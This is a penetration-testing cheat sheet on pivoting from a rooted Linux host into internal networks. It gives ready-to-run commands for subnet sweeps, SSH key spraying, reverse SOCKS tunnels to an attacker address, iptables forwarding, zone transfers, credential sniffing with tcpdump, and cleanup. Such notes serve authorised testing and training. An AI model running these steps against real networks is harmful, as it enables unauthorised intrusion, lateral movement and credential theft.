Pivoting
Sections Pivoting
Using a rooted Linux host to reach the next segment. Tool deep-dives (chisel, ligolo, SSH tunnels, proxychains) live in Pivoting . This file is the Linux-specific surface and decision points.
i. First, see what the pivot can reach
ip a
ip r
arp -a
cat /etc/hosts /etc/resolv.conf
Look for:
- Extra interfaces (eth1, tun0, docker0) -> separate networks
- Routes to RFC1918 ranges not in your scope yet
- DNS servers pointing to internal IPs
- /etc/hosts entries naming internal services
ii. Discover live hosts on the new segment
Without dropping tools:
## ICMP sweep with parallel ping, pure shell:
for i in {1..254}; do (ping -c1 -W1 192.168.5.$i &>/dev/null && echo "192.168.5.$i alive") & done; wait
## TCP knock on a likely port:
for i in {1..254}; do (timeout 1 bash -c "</dev/tcp/192.168.5.$i/22" 2>/dev/null && echo "192.168.5.$i:22 open") & done; wait
## ARP table after a sweep (faster than icmp on slow boxes):
ip neigh
When you can drop tools (see 03 Shell & Tooling ):
nmap -sn 192.168.5.0/24
fping -ag 192.168.5.0/24 2>/dev/null
iii. Existing SSH config = next hops handed to you
The user you compromised often has SSH access to other boxes. Read their config:
cat ~/.ssh/config 2>/dev/null
cat ~/.ssh/known_hosts 2>/dev/null
ls -la ~/.ssh/
Try the existing keys against discovered hosts:
for k in ~/.ssh/id_*; do
[[ "$k" == *.pub ]] && continue
for h in $(awk '/Host / {print $2}' ~/.ssh/config); do
ssh -i "$k" -o BatchMode=yes -o ConnectTimeout=3 "$h" id 2>/dev/null
done
done
iv. Use the pivot as a SOCKS exit
Pick the tool by what’s outbound-allowed, see Pivoting for the full setup. Quick reminders:
## SSH dynamic forward, no extra tools, you have SSH on the pivot
ssh -D 1080 user@pivot
## Chisel reverse SOCKS, TCP allowed out
./chisel client 10.10.14.1:8000 R:socks
## Ligolo agent, when you want L3 with no proxychains
./agent -connect 10.10.14.1:11601 -ignore-cert
Then on attacker:
proxychains -q nxc smb 192.168.5.0/24 -u admin -p 'Password1'
proxychains -q nmap -sT -Pn 192.168.5.10
v. Port forward when SOCKS is overkill
Single internal service, single hole, no SOCKS overhead:
## Forward attacker:9000 to internal SMB
ssh -L 9000:192.168.5.10:445 user@pivot
## Same with socat on the pivot, no SSH
socat TCP-LISTEN:9000,fork,reuseaddr TCP:192.168.5.10:445 &
## iptables DNAT on the pivot (no extra binary)
iptables -t nat -A PREROUTING -p tcp --dport 9000 -j DNAT --to 192.168.5.10:445
iptables -t nat -A POSTROUTING -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward
vi. Scanning from the pivot without tools
Bash port scanner on the pivot, slow but works when you can’t install nmap:
scan() {
local h=$1 ports=$2
for p in ${ports//,/ }; do
(timeout 1 bash -c "</dev/tcp/$h/$p" 2>/dev/null && echo "$h:$p open") &
done
wait
}
scan 192.168.5.10 22,80,443,445,3306,5432,8080
Sweep a range and a port set:
for h in 192.168.5.{1..254}; do scan "$h" 22,445; done
vii. DNS reconnaissance from the pivot
The pivot’s DNS server may know things your attacker box can’t resolve. Query directly:
dig @$(awk '/nameserver/{print $2; exit}' /etc/resolv.conf) -t AXFR corp.local
nslookup -type=any corp.local $(awk '/nameserver/{print $2; exit}' /etc/resolv.conf)
## Reverse lookup the internal range:
for i in {1..254}; do dig +short -x 192.168.5.$i; done | grep -v '^$'
viii. Tunneling traffic INTO the network
You want a colleague (or your own tool) to reach the internal range too. Reverse SSH dynamic forward:
## On pivot:
ssh -R 1080 user@10.10.14.1
## On attacker (and anyone with access to 10.10.14.1):
curl --socks5-hostname 127.0.0.1:1080 http://192.168.5.10
Same idea with chisel reverse SOCKS in Pivoting .
ix. Watch the network from the pivot
Sniff traffic on the pivot to catch creds, especially on flat L2 networks:
## Needs CAP_NET_RAW or root
tcpdump -i any -nA -s0 'tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143' 2>/dev/null
## Or write a pcap and pull it back:
tcpdump -i any -w /tmp/.cap -G 60 -W 1 'not host 10.10.14.1'
If the pivot is a container or VM, the L2 segment may be just the container network. You won’t see host traffic. Check ip a for docker0, veth* interfaces before assuming.
x. Dual-homed host gotchas
When the pivot has multiple interfaces, every tool needs to bind to the right one:
## Force nmap source IP
nmap -e eth1 -S 192.168.5.50 192.168.5.10
## SSH bind:
ssh -b 192.168.5.50 user@target
## curl bind:
curl --interface eth1 http://192.168.5.10
xi. Decision tree for picking the tool
- SSH-only egress, SSH on pivot ->
ssh -D 1080(zero deploy) - Raw TCP egress allowed, need fast SOCKS -> chisel
- Need to scan with ICMP/UDP from attacker side -> ligolo-ng
- Egress is HTTPS only -> chisel + cloudflared, see Pivoting -> Tunnel over HTTPS
- Pivot is constrained (no exec, no install) -> bash /dev/tcp + iptables
- Pivot is Windows -> see Windows files (later batches)
xii. Cleanup
## Kill tunnels and binaries
pkill chisel
pkill -f 'ssh.*-D 1080'
pkill -f 'ssh.*-R 1080'
rm -f /tmp/.chisel /tmp/.agent /dev/shm/.scan
## Remove iptables rules you added
iptables -t nat -F PREROUTING
iptables -t nat -F POSTROUTING
echo 0 > /proc/sys/net/ipv4/ip_forward
See 13 Persistence & Cleanup for the full post-engagement checklist.